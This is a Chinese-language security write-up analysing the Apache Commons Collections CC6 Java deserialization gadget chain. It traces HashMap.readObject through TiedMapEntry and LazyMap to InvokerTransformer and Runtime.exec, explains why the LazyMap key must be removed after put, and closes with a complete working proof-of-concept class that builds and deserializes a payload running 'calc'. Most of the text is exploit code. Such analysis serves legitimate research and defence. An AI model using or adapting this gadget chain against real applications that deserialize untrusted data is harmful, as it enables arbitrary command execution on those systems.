0%

CommonsCollections-6

前言

/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/

CC6解决了高版本Java的限制,而且利用更加通用。不受版本限制

流程图

HashMap.readObject ->TiedMapEntry.hashCode ->LazyMap.get ->ChainedTransformer.transform

分析

HashMap中的 readObject 中会调用 hash 方法

进而调用 key 的 hashCode,正如URLdns链前半部分一样

TiedMapEntry 中的 hashCode

调用了getValue,又调用了 map 的 get方法,参数都可控,可以走到 LazyMap 的链子中

put问题

这里存在一个跟URLdns链一样的问题,就是HashMap在序列化时,put会提前调用hash函数,利用反射在后面进行参数的修改

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();

//下面这两种就是差别地方,先断掉链子
//Map lazymap = LazyMap.decorate(map, chainedTransformer);
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

Map<Object,Object> hashmap = new HashMap<>();
hashmap.put(tiedMapEntry,"bbb");

//利用反射修改factory参数,重新接上链子
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);

//serialize(hashmap);
unserialize("ser.bin");

在序列化时没有问题,反序列化时没有弹出计算器,断点跟进,看到在LazyMap的 get 函数中 map 为 LazyMap, key为TiedMapEntry初始化传进的 aaa,逻辑也很简单,在一开始 hashMap 的 put 时候,如果没有key,进入if,调用完 transform 再 添加键key,这样在反序列化时,就不再进入if触发后续链子,所以这里要 把LazyMap的key给remove掉

lazymap.remove("aaa");

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
//Map lazymap = LazyMap.decorate(map, chainedTransformer);
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
Map<Object,Object> hashmap = new HashMap<>();
hashmap.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);

serialize(hashmap);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filname) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}
}